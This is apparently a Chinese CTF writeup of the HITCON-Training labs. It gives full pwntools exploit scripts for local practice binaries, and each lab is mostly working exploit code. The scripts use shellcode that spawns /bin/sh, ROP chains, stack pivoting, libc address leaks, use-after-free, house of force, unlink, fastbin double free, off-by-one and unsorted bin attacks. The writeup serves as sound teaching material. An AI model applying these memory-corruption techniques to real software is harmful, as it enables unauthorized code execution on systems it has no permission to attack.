前言
未入门时做hitcon-training系列收获很大,怀着一颗感恩的心来整理writeup
Lab1
直接上脚本吧
from pwn import *
cipher = [7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66]
key = "Do_you_know_why_my_teammate_Orange_is_so_angry???"
flag = ""
for i in range(len(key)):
flag = flag + chr(cipher[i]^ord(key[i]))
print flag
Lab2
Lab3
from pwn import *
import time
p = process("./ret2sc")
shellcode_addr = 0x0804a060
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
p.recvuntil("Name:")
p.sendline(shellcode)
payload = 32*'a'
payload+= p32(shellcode_addr)
p.recvuntil("best:")
gdb.attach(p)
p.sendline(payload)
p.interactive()
Lab4
打印got表地址,算出offset得到system地址,构造简单的ret2lib的rop
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
context.terminal = ['tmux','split','-h']
p = process("./ret2lib")
elf = ELF("./ret2lib")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
p.sendlineafter("(in dec) :",str(elf.got["printf"]))
p.recvuntil("0x")
printf_addr = int(p.recv(8),16)
offset = printf_addr - libc.symbols['printf']
system_addr = libc.symbols['system'] + offset
payload = 60*"a" + p32(system_addr) + p32(0xdeadbeef) + p32(elf.search("sh\x00").next())
#gdb.attach(p)
p.sendlineafter("me :",payload)
p.interactive()
Lab5
注意int 80系统调用的使用,是eax寄存器。具体的查阅资料即可。注意execve函数的参数,read。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
#context.terminal = ['tmux','split','-h']
p = process("./simplerop")
int_80 = 0x080493e1
pop_eax_ret = 0x080bae06
pop_ecx_ebx_ret = 0x0806e851
pop_edx = 0x0806e82a
binsh_addr = 0x80ea060
start_addr = 0x8048d0a
mov_buf_edx = 0x0807b301 # mov dword ptr [eax], edx ; ret
pop_edx_ecx_ebx = 0x0806e850 # : pop edx ; pop ecx ; pop ebx ; ret
payload = "a"*32
payload+= p32(pop_eax_ret)
payload+= p32(binsh_addr)
payload+= p32(pop_edx)
payload+= "/bin"
payload+= p32(mov_buf_edx)
payload+= p32(pop_eax_ret)
payload+= p32(binsh_addr+4)
payload+= p32(pop_edx)
payload+= "/sh\x00"
payload+= p32(mov_buf_edx)
payload+= p32(pop_edx_ecx_ebx)
payload+= p32(0)
payload+= p32(0)
payload+= p32(binsh_addr)
payload+= p32(pop_eax_ret)
payload+= p32(0x0b)
payload+= p32(int_80)
gdb.attach(p)
p.sendlineafter("Your input :",payload)
p.interactive()
Lab6
栈上数据不可执行,同时不能修改GOT表。没有开启地址随机化
开启RELRO,我们需要leak got表,来获得libc的基址,从而得到system函数的地址。
但是可用空间非常小,所以我们需要进行劫持栈指针。(原理:leave = mov esp,ebp; pop ebp)
步骤一:(迁移栈,调用read获得下一部分payload)
第一个rop = 40*‘a’+ 想要劫持的栈地址 + read_plt + leave + 参数1 + 想要劫持的栈地址 + 参数2
注意,我们需要将地址放在data段:
经过运行和后可以看看那些地方空的:
查看rop链
步骤二:(leak函数地址,迁移到第二个栈,获取第三段payload)
第二个rop链:
rop = 第二个想要迁移的指令(pop ebp)+ puts_plt + pop_ret (关键点1)+ puts_got(关键点2) + read_plt + leave_ret + 三个参数
关键点一:之前的疑问:在这里pop里还怎么泄露后面的puts_got?回答:是当整个puts函数执行了输出 了后面put_got参数之后才返回接下来的汇编指令pop,这跟前面的level0异曲同工。pop之后才可以继续顺利的进行rop,同样的如果这里是read函数,后面有三个参数,那么如果后面还要继续rop就要继续pop三个参数再ret才能继续。
关键点二:为什么不能用read_got只能用puts_got?
关键点三:获得的puts_got当前地址-puts_off = libc_base; system_addr = libc_base+system_off
核心指令:off [func]
步骤三:(get shell)
rop = 随便一个地址(pop ebp) + system_addr + any_addr + 参数地址(关键点) + “/bin/sh”
关键点部分注意地址是迁移过来的地址+4*4(别忘记了)
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import time
#context.log_level = 'DEBUG'
p = process("./migration")
buf1 = 0x804a200+0x100
buf = 0x804a200
leave_addr = 0x08048503
pop_ret = 0x0804836d
read_plt = 0x08048380
puts_plt = 0x08048390
system_off = 0x3ada0
puts_off = 0x5fca0
puts_got = 0x08049ff0
read_got = 0x08049fe8
rop1 = 40*'a'
rop1+= p32(buf) # 劫持栈指针
rop1+= p32(read_plt) # 返回地址是read函数
rop1+= p32(leave_addr) # 返回地址是劫持栈指针的汇编指令
rop1+= p32(0) # 第一个参数0
rop1+= p32(buf) # 地址
rop1+= p32(100) # 长度
p.recvuntil(":\n")
p.send(rop1) # 由于一共接收64个字符,这里已经有40+4*6,所以不能再“/n”了
time.sleep(0.1) # 停止一下
rop2=""
rop2+= p32(buf1) # 接下来需要劫持栈顶指针的地址
rop2+= p32(puts_plt)
rop2+= p32(pop_ret) # 这个还会详细说明,清空下面的参数,继续rop
rop2+= p32(puts_got) # 打印出put_got在内存中的地址,这里还有个问题为什么read_got不行?
rop2+= p32(read_plt) # 调用read继续读
rop2+= p32(leave_addr) # 继续劫持栈指针
rop2+= p32(0)
rop2+= p32(buf1)
rop2+= p32(100)
p.sendline(rop2)
data = u32(p.recvuntil("\n")[:-1])
libc_base = data - puts_off
print "libc_base: ",hex(libc_base)
system_addr = libc_base + system_off
time.sleep(0.1)
rop3=flat([buf,system_addr,0,buf1+16,"/bin/sh"])
p.sendline(rop3)
p.interactive()
Lab10
node结构体8个字节。第一个功能是添加信息:第一个是malloc一个node结构体,接下来输入存储字符串的长度,再malloc一个合适的堆块。
UAF即use after free。存储块小于64b的堆块释放之后由fastbin来进行管理。释放的那个放在表头,分配的时候直接从表头开始获取。
在指针未指空的情况下,释放的堆块则还可以使用。
我们看到node中第一个成员是函数指针,里面存放着打印字符串的函数地址。我们考虑是不是可以通过UAF来修改node中的函数指针的值,指向源码提供的magic函数。
具体做法:
申请一个node0,16长度的字符串
申请一个node1,16长度的字符串
释放node0
释放node1
申请一个node2,8长度的字符串
此时8长度字符串的的堆块实际上是node0存放的node结构体的堆块
我们便可以进行修改函数指针的指向。
最后由于指针未指NULL可以继续调用node0的printf函数,则会执行我们期望执行的函数
exp
from pwn import *
p = process("./hacknote")
def add_node(size,content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def delete_node(number):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(number))
def print_node(number):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(number))
magic_addr = 0x8048986
add_node(16,"aaaa")
add_node(16,"bbbb")
delete_node(0)
delete_node(1)
add_node(8,p32(magic_addr))
print_node(0)
p.interactive()
Lab11
add功能:输入长度,malloc一个大小一样的chunk存放字符串
delete功能:输入id,删除
edit功能:输入id,输入长度,在输入新的字符串
show功能:打印字符串
思路一 House of force
第一个思路就是想办法将第一个chunk的内容的函数指针改为后门函数
第一步:完成相关功能函数
def add(size,name):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(name)
def delete(id):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(id)
def edit(id,size,name):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(id))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(name)
def show(id):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(id))
回顾一下house of lore,将top chunk的设置为最大,然后再分配负的chunk尺寸,这样就会将top chunk向上抬。那么下次分配就可以按自己的目标来分配chunk。调试如下:
那么需要抬0xa0单位。也就是分配-0xa0大小的chunk
成功的将栈顶抬到想分配的地址
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
context.terminal = ['tmux','split','-h']
p = process("./bamboobox")
def add(size,name):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(name)
def delete(id):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(id)
def edit(id,size,name):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(id))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(name)
def show(id):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(id))
magic_addr = 0x0000000000400d49
add(0x60,"aaaa")
edit(0,0x71,"a"*0x60+p64(0)+p64(0xffffffffffffffff))
add(-0xa0,"aaaa")
gdb.attach(p)
raw_input()
add(0x10,p64(magic_addr)*2)
gdb.attach(p)
raw_input()
p.interactive()
思路二 Unlink
尝试 用unlink的方式来解题。里面有几个关键步骤:通过free来修改fd,bk达到任意地址读写的目的。
第一步:找到指针
第二步:构造伪chunk,并free掉某个chunk,将fd劫持到一个新的位置上进行读写。
第三步:修改指针,达到任意内存读写的目的(这里采用劫持got表的方法)
第一步分配三个chunk,中间大两边小:
add(0x40,"a"*8) #0
add(0x80,"a"*8) #1
add(0x40,"a"*8) #2
我们考虑要free第一个chunk,让它往前覆盖,所以我们再在1那里做一个伪造的chunk。假的chunk在0x2119030处,那么该指针为0x6020c8,就像 视频中讲解的r一样。
伪造chunk:
ptr = 0x6020c8
payload = p64(0) # 前一个大小为0
payload+= p64(0x31) # 这个chunk的大小
payload+= p64(ptr-0x18) # fd
payload+= p64(ptr-0x10) # bk
payload+= "a"*0x10 # 还有0x10个单位空余,将其填充
payload+= p64(0x30) # 对于第一个chunk的前一个大小,因为我们要合并
payload+= p64(0x100) # 需要加上头部,一会儿试试不加头部行不行
edit(0,0x80,payload)
删除第一号chunk
修改got表:
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
context.terminal = ['tmux','split','-h']
p = process('./bamboobox')
def add(size,name):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(name)
def delete(id):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(id))
def edit(id,size,name):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(id))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(name)
def show():
p.recvuntil(":")
p.sendline("1")
add(0x30,"a"*8) #0
add(0x80,"a"*8) #1
add(0x30,"a"*8) #2
ptr = 0x6020c8
payload = p64(0) # 前一个大小为0
payload+= p64(0x31) # 这个chunk的大小
payload+= p64(ptr-0x18) # fd
payload+= p64(ptr-0x10) # bk
payload+= "a"*0x10 # 还有0x10个单位空余,将其填充
payload+= p64(0x30) # 对于第一个chunk的前一个大小,因为我们要合并
payload+= p64(0x90) # 需要加上头部,一会儿试试不加头部行不行
edit(0,0x80,payload)
delete(1)
atoi_addr = 0x0000000000602068
atoi_offset = 0x36e80
system_offset = 0x45390
payload = p64(0)
payload+= p64(0x40)
payload+= p64(0)
payload+= p64(atoi_addr)
edit(0,0x80,payload)
show()
p.recvuntil("0 : ")
atoi = u64(p.recvuntil("\n")[:6].ljust(8,"\x00"))
libc_base = atoi - atoi_offset
system_addr = libc_base + system_offset
edit(0,0x10,p64(system_addr)*2)
p.interactive()
Lab12
仔细看看上面的源码不难发现,目标就是一个劫持eip到magic函数。考虑eip劫持方法:栈溢出,修改got表,格式化字符串。
在这里我们可以先考虑修改got表,因为在成功分配chunk并且输入正确的情况下会调用puts函数:
补充知识
第一点知识:hijack got
当我们执行puts函数时先去plt表执行代码
第二点:double free的知识:
double free首先是针对fast bin的,单链表结构。fd指向下一个分配的空闲chunk。后入先出的顺序。分配chunk的时候检查size位置是否满足大小。
free(0)
free(1)
free(0)
malloc(0)
将0中写入一个地址,此时就是fd的位置。那么0就将指向该地址。当malloc两次之后,bin就指向该地址。再次malloc就将分配这个地址的这个chunk。就可以修改相关内容。
exp
from pwn import *
context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
context.terminal = ['tmux','split','-h']
p = process("./secretgarden")
magic_addr = 0x400c7b
fake_chunk_addr = 0x601ffa
def create(length,name,color):
p.sendlineafter(":","1")
p.sendlineafter(":",str(length))
p.sendlineafter(":",name)
p.sendlineafter(":",color)
def visit():
p.sendlineafter(":","2")
def delete(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))
def clean():
p.sendlineafter(":","4")
create(0x50,"0","red")
create(0x50,"1","blue")
delete(0)
delete(1)
delete(0)
create(0x50,p64(fake_chunk_addr),"red")
create(0x50,"1","blue")
create(0x50,"0","red")
create(0x50,"a"*22+p64(magic_addr),"red")
p.interactive()
Lab13 overlapping
利用刚刚所学overlapping还有off by one的技巧:
第一步:创建两个heap,通过off by one的技巧将第二个chunk的size位改的更大,并释放。这样chunk头 就可以覆盖到下面的部分了。
第二步:创建一个稍大的chunk,这里的chunk要分配到之前释放的那个chunk。这样就可以修改heap信息结构体中的指针了
第三步:填入某个函数地址信息,计算libc基址
第四步:将某个常用函数写入指针,该指针指向system函数
第三次分配大chunk时的示意图
调试步骤:
第一步:off by one修改下一个chunk首地址:
create(0x18,”aaaa”) # create 0
create(0x10,”bbbb”) # create 1
edit(0,”a”*0x18+”\x41”)
注意:这里有用到一个分配策略,当分配小于两倍字长的请求,系统会直接返回两倍字长的chunk。(32位就是0x10,64位是0x20)也就是当 分配18个单位是,18<32。所以 系统连着chunk header会给0x20个单位。但是除去0x10的header,0x10怎么放18个单位呢。注意它会占用下一个chunk的pre_size位。所以我们就可以通过这种方式直接覆盖掉下一个chunk的size位。
第二步:修改成功,接下来就是释放。
第三步:控制heap结构体:
整块都是content,但是60开始又是heapinfo结果体。所以heapinfo部分malloc了两次。content一次,heapinfo结构体分配一次。content可以写入heapinfo中,从而控制指针。
create(0x30,p64(0)*4+p64(0x30)+p64(elf.got[‘atoi’])) # create 1
第四步:算出system:
libc = elf.libc
p.recvuntil(“Content :”)
addr = u64(p.recvuntil(“\x7f”)[-6:].ljust(8, “\x00”))
libc_base = addr - libc.symbols[“atoi”]
system_addr = libc.symbols[‘system’] + libc_base
第五步:修改atoi位置位system地址,劫持got
edit(1,p64(system_addr))
p.sendline(‘/bin/sh\x00’)
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
context.terminal = ['tmux','split','-h']
p = process("./heapcreator")
elf = ELF("./heapcreator")
libc = elf.libc
def create(size,info):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter('Size of Heap : ',str(size))
p.sendlineafter('Content of heap:',info)
def edit(id,info):
p.sendlineafter("Your choice :",str(2))
p.sendlineafter('Index :',str(id))
p.sendlineafter('Content of heap : ',info)
def show(id):
p.sendlineafter("Your choice :",str(3))
p.sendlineafter("Index :",str(id))
def delete(id):
p.sendlineafter("Your choice :",str(4))
p.sendlineafter("Index :",str(id))
create(0x18,"aaaa") # create 0
create(0x10,"bbbb") # create 1
edit(0,"a"*0x18+"\x41")
delete(1)
create(0x30,p64(0)*4+p64(0x30)+p64(elf.got['atoi'])) # create 1
show(1)
p.recvuntil("Content : ")
addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
print hex(addr)
libc_base = addr - libc.symbols["atoi"]
system_addr = libc.symbols['system'] + libc_base
edit(1,p64(system_addr))
p.sendline('/bin/sh\x00')
p.interactive()
Lab14(unsorted bin attack)
思路一
步骤一:利用unlink进行迁移chunk位置,修改magic的值
步骤二:利用unlink直接修改指针,hijacking got
步骤三:利用unsorted bin attack,令bk等于magic地址-0x10。malloc之后令magic的值等于下一个chunk的首地址,从而成功修改(在这里我们选择第三种)
所谓的unsorted bin attack:
首先不是fastbin chunk就先放到unsorted bin中。
其次先进先出的模式。
最后bk指针会被后面的chunk首地址所赋值:
说明确一点:就是说用一个地址写入将要malloc的chunk中bk中,那么malloc之后这个地址中的值就等于写入前chunk中bk的值
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
#context.terminal = ['tmux','split','-h']
p = process("./magicheap")
hack_addr = 0x400c23
magic_addr = 0x6020c0
def create(length,content):
p.sendlineafter("choice :",str(1))
p.sendlineafter("Heap : ",str(length))
p.sendlineafter("heap:",content)
def edit(index,size,content):
p.sendlineafter("choice :",str(2))
p.sendlineafter("Index :",str(index))
p.sendlineafter("Heap : ",str(size))
p.recvuntil("heap : ")
p.send(content)
def delete(index):
p.sendlineafter("choice :",str(3))
p.sendlineafter("Index :",str(index))
create(0x80,"a"*4) # 0
create(0x80,"b"*4) # 1
create(0x80,"c"*4) # 2
payload = 0x80*'a'+p64(0)+p64(0x91)+p64(0)+p64(magic_addr-0x10)
delete(1)
edit(0,0x100,payload)
create(0x80,"d"*4)
p.recv()
p.sendline("4869")
p.interactive()
思路二
构造unlink漏洞,修改chunk位置到结构体指针位置,从而控制指针。又因为RELRO 部分开启,所以我们可以劫持GOT表。所以根本没有用上程序的部分功能。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
#context.terminal = ['tmux','split','-h']
p = process("./magicheap")
elf = ELF("./magicheap")
hack_addr = 0x400c23
magic_addr = 0x6020c0
def create(length,content):
p.sendlineafter("choice :",str(1))
p.sendlineafter("Heap : ",str(length))
p.sendlineafter("heap:",content)
def edit(index,size,content):
p.sendlineafter("choice :",str(2))
p.sendlineafter("Index :",str(index))
p.sendlineafter("Heap : ",str(size))
p.recvuntil("heap : ")
p.send(content)
def delete(index):
p.sendlineafter("choice :",str(3))
p.sendlineafter("Index :",str(index))
hack_addr = 0x6020e8
create(0x10,"ffff")
create(0x30,"aaaa")
create(0x80,"bbbb")
create(0x30,"cccc")
payload = p64(0)
payload+= p64(0x31)
payload+= p64(hack_addr-0x18)
payload+= p64(hack_addr-0x10)
payload+= 0x10*"a"
payload+= p64(0x30)
payload+= p64(0x90)
edit(1,0x80,payload)
delete(2)
payload = p64(0)
payload+= p64(0x41)
payload+= p64(elf.got['atoi'])
payload+= p64(0)
edit(1,0x40,payload)
edit(0,0x08,p64(elf.plt['system']))
p.interactive()